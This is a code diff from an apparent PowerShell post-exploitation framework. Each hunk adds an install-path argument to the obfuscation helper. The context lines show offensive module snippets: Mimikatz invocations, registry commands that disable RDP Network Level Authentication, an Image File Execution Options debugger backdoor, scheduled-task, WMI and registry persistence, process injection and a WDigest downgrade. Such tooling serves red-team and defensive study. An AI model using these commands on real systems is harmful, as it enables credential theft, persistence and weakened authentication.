scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -162,5 +162,5 @@ class Module:
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -55,5 +55,5 @@ class Module:
# command to enable NLA only if the enable runs successfully # command to enable NLA only if the enable runs successfully
script += " if ($?) { $null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }" script += " if ($?) { $null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -100,5 +100,5 @@ class Module:
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -73,6 +73,6 @@ class Module:
scriptEnd = "Invoke-Mimikatz -Command '\"ts::multirdp\"';" scriptEnd = "Invoke-Mimikatz -Command '\"ts::multirdp\"';"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -57,5 +57,5 @@ class Module:
# command to disable NLA # command to disable NLA
script += "$null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }" script += "$null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -84,5 +84,5 @@ class Module:
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -90,6 +90,6 @@ class Module:
if values['Value'] and values['Value'] != '': if values['Value'] and values['Value'] != '':
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -77,5 +77,5 @@ class Module:
script += "%s" %(scriptCmd) script += "%s" %(scriptCmd)
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -87,5 +87,5 @@ Function Invoke-LockWorkStation {
Invoke-LockWorkStation; "Workstation locked." Invoke-LockWorkStation; "Workstation locked."
""" """
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -62,5 +62,5 @@ class Module:
else: else:
script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f" script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -110,6 +110,6 @@ class Module:
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -87,6 +87,6 @@ class Module:
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -87,6 +87,6 @@ class Module:
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -112,6 +112,6 @@ class Module:
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -107,6 +107,6 @@ class Module:
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -117,6 +117,6 @@ class Module:
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -92,6 +92,6 @@ class Module:
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -133,6 +133,6 @@ class Module:
else: else:
scriptEnd += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode) scriptEnd += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode)
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -146,7 +146,7 @@ class Module:
UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath) UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += "\r\n" script += "\r\n"
script += UploadScript script += UploadScript

View File

@ -52,5 +52,5 @@ class Module:
script = "'Restarting computer';Restart-Computer -Force" script = "'Restarting computer';Restart-Computer -Force"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -138,6 +138,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -57,5 +57,5 @@ class Module:
script = "(New-Object System.Security.Principal.SecurityIdentifier(\"%s\")).Translate( [System.Security.Principal.NTAccount]).Value" %(self.options['SID']['Value']) script = "(New-Object System.Security.Principal.SecurityIdentifier(\"%s\")).Translate( [System.Security.Principal.NTAccount]).Value" %(self.options['SID']['Value'])
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -100,5 +100,5 @@ class Module:
code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName) code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName)
if obfuscate: if obfuscate:
code = helpers.obfuscate(psScript=code, obfuscationCommand=obfuscationCommand) code = helpers.obfuscate(self.mainMenu.installPath, psScript=code, obfuscationCommand=obfuscationCommand)
return code return code

View File

@ -157,6 +157,6 @@ class Module:
scriptEnd += "-Cmd \"$env:public\debug.bat\"" scriptEnd += "-Cmd \"$env:public\debug.bat\""
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -71,5 +71,5 @@ class Module:
# signal the existing listener that we're switching listeners, and the new comms code # signal the existing listener that we're switching listeners, and the new comms code
commsCode = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (listenerName, commsCode) commsCode = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (listenerName, commsCode)
if obfuscate: if obfuscate:
commsCode = helpers.obfuscate(psScript=commsCode, obfuscationCommand=obfuscationCommand) commsCode = helpers.obfuscate(self.mainMenu.installPath, psScript=commsCode, obfuscationCommand=obfuscationCommand)
return commsCode return commsCode

View File

@ -108,6 +108,6 @@ class Module:
scriptEnd += "| Out-String" scriptEnd += "| Out-String"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -63,5 +63,5 @@ class Module:
script = "(New-Object System.Security.Principal.NTAccount(\"%s\",\"%s\")).Translate([System.Security.Principal.SecurityIdentifier]).Value" %(self.options['Domain']['Value'], self.options['User']['Value']) script = "(New-Object System.Security.Principal.NTAccount(\"%s\",\"%s\")).Translate([System.Security.Principal.SecurityIdentifier]).Value" %(self.options['Domain']['Value'], self.options['User']['Value'])
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -102,6 +102,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -151,5 +151,5 @@ function Invoke-WdigestDowngrade {
else: else:
script += " -" + str(option) + " " + str(values['Value']) script += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -93,5 +93,5 @@ Invoke-ZipFolder"""
if values['Value'] and values['Value'] != '': if values['Value'] and values['Value'] != '':
script += " -" + str(option) + " " + str(values['Value']) script += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -205,5 +205,5 @@ class Module:
script += "'Registry persistence established "+statusMsg+"'" script += "'Registry persistence established "+statusMsg+"'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -161,7 +161,7 @@ class Module:
script += "schtasks /Delete /F /TN "+taskName+";" script += "schtasks /Delete /F /TN "+taskName+";"
script += "'Schtasks persistence removed.'" script += "'Schtasks persistence removed.'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script
if extFile != '': if extFile != '':
@ -241,5 +241,5 @@ class Module:
statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "." statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "."
script += "'Schtasks persistence established "+statusMsg+"'" script += "'Schtasks persistence established "+statusMsg+"'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -124,7 +124,7 @@ class Module:
script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
script += "'WMI persistence removed.'" script += "'WMI persistence removed.'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script
if extFile != '': if extFile != '':
@ -199,5 +199,5 @@ class Module:
script += "'WMI persistence established "+statusMsg+"'" script += "'WMI persistence established "+statusMsg+"'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -107,5 +107,5 @@ class Module:
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -90,6 +90,6 @@ class Module:
# base64 encode the command to pass to Invoke-Mimikatz # base64 encode the command to pass to Invoke-Mimikatz
scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';" scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -94,7 +94,7 @@ class Module:
# the registry command to disable the debugger for Utilman.exe # the registry command to disable the debugger for Utilman.exe
script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'" %(targetBinary, targetBinary) script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'" %(targetBinary, targetBinary)
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script
@ -133,5 +133,5 @@ class Module:
# the registry command to set the debugger for the specified binary to be the binary path specified # the registry command to set the debugger for the specified binary to be the binary path specified
script = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+triggerBinary+"';'"+targetBinary+" debugger set to "+triggerBinary+"'" script = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+triggerBinary+"';'"+targetBinary+" debugger set to "+triggerBinary+"'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

Some files were not shown because too many files have changed in this diff Show More